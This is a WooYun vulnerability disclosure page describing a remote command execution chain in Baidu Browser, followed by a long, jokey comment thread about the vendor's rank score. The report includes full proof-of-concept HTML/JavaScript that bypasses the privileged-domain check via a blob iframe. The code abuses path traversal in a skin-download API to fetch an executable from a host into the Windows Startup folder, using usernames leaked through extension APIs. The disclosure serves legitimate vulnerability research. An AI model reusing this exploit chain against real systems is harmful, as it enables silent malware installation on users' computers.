当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080438

漏洞标题:百度浏览器远程命令执行二 - 绕过特权域限制

相关厂商:百度

漏洞作者: gainover

提交时间:2014-10-23 08:54

修复时间:2015-01-21 08:56

公开时间:2015-01-21 08:56

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-23: 细节已通知厂商并且等待厂商处理中
2014-10-23: 厂商已经确认,细节仅向厂商公开
2014-10-26: 细节向第三方安全合作伙伴开放
2014-12-17: 细节向核心白帽子及相关领域专家公开
2014-12-27: 细节向普通白帽子公开
2015-01-06: 细节向实习白帽子公开
2015-01-21: 细节向公众公开

简要描述:

哎呀,上一个没给满20rank。。 所以我又来啦~
这一次不用XSS了,直接用了某个东东绕过了特权域的限制。

详细说明:

总共用了三个漏洞点:
1. 绕过特权域判断
2. 利用缺陷API下载任意程序至指定目录
3. 结合电脑用户名称泄漏的缺陷,将程序下载至用户启动目录
以下是详情:
1. 特权域限制上存在问题, 百度浏览器除了允许 bdbrowser:// 和 http://xapp.baidu.com/ 这2个域外,我发现 file域同样可以执行特权API, 而当我们从http域重定向至 bdbrowser 或者 file域时,都会提示禁止访问本地域资源,这不禁让我想到了另外一个有点算是本地域的 东西 blob。于是控制台测试以下代码:

var data='<script>执行特权命令</script>';
var blob=new Blob([data],{"type":"text/html"});
(function(){
var iframe=document.createElement("iframe");
iframe.src=URL.createObjectURL(blob);
document.body.appendChild(iframe);
})()


发现可以成功执行,这样一来,我们可以在任何页面里通过这段代码来执行特权API了。
2. 特权API bdbrowser.skin.download 的 的 name参数未过滤,导致可以将皮肤文件下载至系统盘的任意指定目录内。

window.external.StartRequest(1,"bdbrowser.skin.download","(function(id,res){console.log(res)})","{\"name\":\"1/../../../../../../../../../../../../../cmd.exe\",\"url\":\"http://192.168.1.105/testbaidu.exe\"}",window,"")


例如以上代码,将会在系统盘根目录下生成一个cmd.exe,如下图所示:

1.jpg


3. 我们要实现执行命令,还需要将程序写入到系统的“启动”目录下。
但启动目录的路径中,需要知道 用户名信息。经过研究发现:
AppService.AppMarket.DownloadPack 和 AppService.AppMarket.DeleteExt 这2个API均可导致用户名泄漏,其中不使用我前面所发布的上一个漏洞中用到的技巧的话,前者会弹出安装提示,而后者不会提示,但是后者要求用户装过插件方可。

2.jpg


4. 结合以上三个步骤,我们可以构建以下PoC代码,仅供参考,在WIN7和IE下进行了测试。

<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<script type="text/javascript" id="apirun">
function getInstallList(id,list){
//console.log(list);
var result=JSON.parse(list);
var apps=result.content.ItemList;
var deleteID="";
for(var i=apps.length-1;i>=0;i--){
if(/\w{32}/.test(apps[i]["ID"])){
deleteID=apps[i]["ID"];
break;
}
}
console.log("deleteID:"+deleteID);
if(!deleteID){
//不存在自安装插件,通过安装法来获得user
window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","getUser","{\"ID\":\"eococdloljmhdpnihekiiohodgcgjigh\",\"URL\":\"http://dlsw.br.baidu.com/49411271abae81764cf268983c95d9d7.crx\",\"UPDATE\":\"false\"}",window,"");
}else{
//通过删除插件法来实现静默执行
window.external.StartRequest(222,"AppService.AppMarket.DeleteExt","getUser","{\"ID\":\""+deleteID+"\"}",window,"");
}
}
function getUser(id,res){
console.log(res);
var isWin7=/NT\s+6/.test(navigator.userAgent);
var user=isWin7?(res.match(/[A-Z]:[\\\\\/]+Users[\\\\\/]+([^\\\/]+)[\\\\\/]+AppData/)||["",""])[1]:(res.match(/[A-Z]:[\\\\\/]+(Documents and Settings|DOCUME~1)[\\\\\/]+([^\\\/]+)[\\\\\/]+/)||["",""])[2];
generateCMD(user);
}
function main(){
window.external.StartRequest(222,"AppService.AppMarket.GetInstalledList","getInstallList","{\"RequireDetail\":\"1\",\"RequirePermission\":\"1\"}",window,"");
}
function generateCMD(user){
console.log("Current User:"+user+"\n");
var isWin7=/NT\s+6/.test(navigator.userAgent);
var win7="Users/"+user+"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/test.exe";
var xp="Documents and Settings/"+user+"/「开始」菜单/程序/启动/test.exe";
console.log((isWin7?win7:xp));
window.external.StartRequest(1,"bdbrowser.skin.download","(function(id,res){console.log(res)})","{\"name\":\"1/../../../../../../../../../../../../../"+(isWin7?win7:xp)+"\",\"url\":\"http://192.168.1.105/testbaidu.exe\"}",window,"")
}
try{main();}catch(e){};
</script>
<script>
//利用blob绕过特权域执行特权API
var data='<script>'+document.getElementById("apirun").innerHTML+'</scr'+'ipt>';
var blob=new Blob([data],{"type":"text/html"});
(function(){
var iframe=document.createElement("iframe");
iframe.src=URL.createObjectURL(blob);
iframe.style.display="none";
document.body.appendChild(iframe);
})()
</script>
<h1>百度浏览器远程命令执行DEMO</h1>
</body>
</html>


最终执行后,效果如下图所示:

3.jpg


漏洞证明:

在WIN7 和 XP下测试成功,
视频演示:http://v.youku.com/v_show/id_XODA5MzM1NzA4.html (录制于XP虚拟机)

修复方案:

1. 修复特权域的判断
2. 对bdbrowser.skin.download这个特权API 的参数进行严格过滤,限制下载路径与下载来源
3. 对AppService.AppMarket.DownloadPack 和 AppService.AppMarket.DeleteExt的返回数据中敏感的路径信息进行屏蔽,如果数据不需要,可以考虑不返回这些路径信息。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2014-10-23 11:24

厂商回复:

感谢提交,已通知业务部门处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-23 08:56 | he1renyagao ( 普通白帽子 | Rank:225 漏洞数:29 | 是金子总会发光,在还未发光之前,先打磨打...)

    沙发!!!!!

  2. 2014-10-23 08:57 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    好早

  3. 2014-10-23 09:02 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

  4. 2014-10-23 09:12 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    第一次离二哥这么近!!

  5. 2014-10-23 09:14 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    二哥 你这么多0day 我知道了

  6. 2014-10-23 09:22 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    我猜是api

  7. 2014-10-23 09:34 | Focusstart ( 普通白帽子 | Rank:574 漏洞数:163 | 努力让某某某成为最幸福的女人!)

    好屌~

  8. 2014-10-23 09:39 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    每天一闪电的节奏

  9. 2014-10-23 09:40 | 咸鱼翻身 ( 普通白帽子 | Rank:576 漏洞数:108 )

    啊啊啊啊啊啊啊啊啊啊啊

  10. 2014-10-23 09:42 | 进击的zjx ( 普通白帽子 | Rank:295 漏洞数:61 | 工作需要,暂别一段时间)

    好厉害~

  11. 2014-10-23 10:09 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    二哥早上好

  12. 2014-10-23 10:13 | 心伤的胖子 ( 普通白帽子 | Rank:308 漏洞数:29 | 因为心伤,所以胖子。)

    二哥我要给你生胖子

  13. 2014-10-23 10:26 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    why r u so diao?

  14. 2014-10-23 10:48 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    大神请收下我的膝盖!!!

  15. 2014-10-23 10:54 | p4ssw0rd ( 普通白帽子 | Rank:306 漏洞数:92 | 不作死就不会死)

    二哥陆续放大招了

  16. 2014-10-23 11:25 | HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)

    有强迫症的人简直看不了这个评分啊

  17. 2014-10-23 11:26 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    就是不给你20

  18. 2014-10-23 11:29 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    目测还有...三... 因为你不给20啊

  19. 2014-10-23 11:29 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    二哥说等下漫游你内网看你还敢不给20

  20. 2014-10-23 11:29 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    就是不给你20

  21. 2014-10-23 11:32 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    哈哈哈哈,看评分笑死了

  22. 2014-10-23 11:37 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    19分了...

  23. 2014-10-23 11:48 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    19分这是逼着要再来啊..

  24. 2014-10-23 11:55 | Ano_Tom ( 普通白帽子 | Rank:368 漏洞数:40 | Talk is cheap.:)

    就是不给你20

  25. 2014-10-23 12:10 | 大孩小孩 ( 路人 | Rank:7 漏洞数:7 | 哈哈哈哈)

    19。。。

  26. 2014-10-23 12:39 | leakless ( 路人 | Rank:6 漏洞数:3 | 今天我没吃药感觉自己萌萌哒~~)

    这是逼洞主漫游百度内网的节奏啊。。

  27. 2014-10-23 12:46 | sin ( 实习白帽子 | Rank:38 漏洞数:2 | 寻找最优雅的解决方案)

    厂商给19,这是在挑衅!

  28. 2014-10-23 12:52 | 0day ( 实习白帽子 | Rank:51 漏洞数:19 | www.wooyun.org)

    二哥,漫游他

  29. 2014-10-23 12:57 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    19....

  30. 2014-10-23 13:00 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    漏洞Rank:19 赤裸裸的挑衅啊

  31. 2014-10-23 13:52 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    二哥,游他

  32. 2014-10-23 14:13 | an0nym0u5 ( 普通白帽子 | Rank:172 漏洞数:31 )

    19啊 再给他来一发!

  33. 2014-10-23 14:49 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    二哥,猴子我已经打掉了,你就安心做你的黑客把

  34. 2014-10-23 14:57 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    19 赤裸裸的挑衅呀 组团收藏 待公开

  35. 2014-10-23 15:03 | xyang ( 普通白帽子 | Rank:242 漏洞数:51 | stay hungry stay foolish)

    真叼

  36. 2014-10-23 15:09 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    真是赤裸裸的挑衅啊 二哥 开战了!

  37. 2014-10-23 15:23 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    19rank啊

  38. 2014-10-23 15:49 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    百度也是蛮调皮的

  39. 2014-10-23 17:07 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    还好乌云的rank是不带小数点的。。

  40. 2014-10-23 17:34 | papaver ( 普通白帽子 | Rank:197 漏洞数:35 | 95后,高一学生一枚... 萌萌哒..)

    哈哈,19rank。。。

  41. 2014-10-23 17:35 | 盛大网络(乌云厂商)

    从心理学上讲少的1 rank表示二哥还需努力

  42. 2014-10-23 17:37 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    @gainover 哈哈

  43. 2014-10-23 19:03 | 安然意境 ( 普通白帽子 | Rank:189 漏洞数:79 | 无论是你的事业还是你的个人,可能走的过程...)

    机智的百度。

  44. 2014-10-23 19:11 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    百度你好坏哦

  45. 2014-10-23 19:27 | 第四维度 ( 实习白帽子 | Rank:58 漏洞数:34 | 谦谦君子,温润如玉)

    漫游的节奏呢,激将法呢

  46. 2014-10-23 19:42 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    就是不给你20 啊

  47. 2014-10-23 19:50 | Elegance ( 实习白帽子 | Rank:48 漏洞数:3 | 此人很懒,什么话都没留下!)

    百度说:就是不给,有本事来咬我啊

  48. 2014-10-23 22:41 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)

    嘻嘻,百度干得漂亮!

  49. 2014-10-24 07:59 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    还是不给。、就不给你、哼、气死你

  50. 2014-10-24 10:16 | noob ( 实习白帽子 | Rank:81 漏洞数:18 | 向各位大神学习,向各位大神致敬)

    二哥再来一发!

  51. 2014-10-25 07:08 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    再来一个就20了

  52. 2014-10-27 19:24 | 偉哥 ( 实习白帽子 | Rank:67 漏洞数:11 | 哥是没帽子)

    这个牛逼。

  53. 2014-10-28 00:59 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    大乌云玩大浏览器 小乌云玩小浏览器 膜拜洞主

  54. 2014-10-28 13:06 | 晏子 ( 路人 | Rank:6 漏洞数:4 | 无)

    就是不给你20,要不再来一炮?

  55. 2014-10-29 12:37 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    故意的19Rank

  56. 2014-10-29 18:26 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  57. 2014-10-30 09:01 | GHK ( 路人 | Rank:2 漏洞数:1 | 请叫我小渣渣。)

    洞主再来一发吧^^

  58. 2014-11-01 11:17 | 78基佬 ( 实习白帽子 | Rank:84 漏洞数:20 | 不会日站的设计师不是好产品经理)

    3个$是多少钱啊

  59. 2014-11-13 11:22 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    不给20啊,继续搞?

  60. 2014-11-13 11:22 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @78基佬 5000吧估计

  61. 2014-11-13 11:24 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @wefgod 1w以上吧?

  62. 2014-11-13 11:36 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @泳少 至少5000,一万不知道。

  63. 2015-01-21 09:23 | Neeke ( 普通白帽子 | Rank:101 漏洞数:24 | 求传授刷Rank方法?)

    19

  64. 2015-01-21 12:41 | dlevr ( 实习白帽子 | Rank:33 漏洞数:10 | 菜鸟一只,大神勿喷!)

    哈哈 这是想让你继续的节奏啊

  65. 2015-01-21 13:51 | wooyuners ( 路人 | Rank:0 漏洞数:3 | 众筹之路)

    才给19Rank,红果果的挑衅啊,二哥

  66. 2015-01-21 16:55 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM:http://bbs.jyhack.com/)

    才给19Rank,红果果的挑衅啊,Z哥

  67. 2015-01-21 17:13 | F0rm ( 路人 | Rank:0 漏洞数:2 | )

    好坏好坏的 给19

  68. 2015-01-21 19:49 | me1ody ( 路人 | Rank:26 漏洞数:15 | 乌云临时工)

    19.....

  69. 2015-01-21 23:12 | 刘海哥 ( 普通白帽子 | Rank:114 漏洞数:28 | 索要联系方式但不送礼物的厂商定义为无良厂...)

    聪明的百度!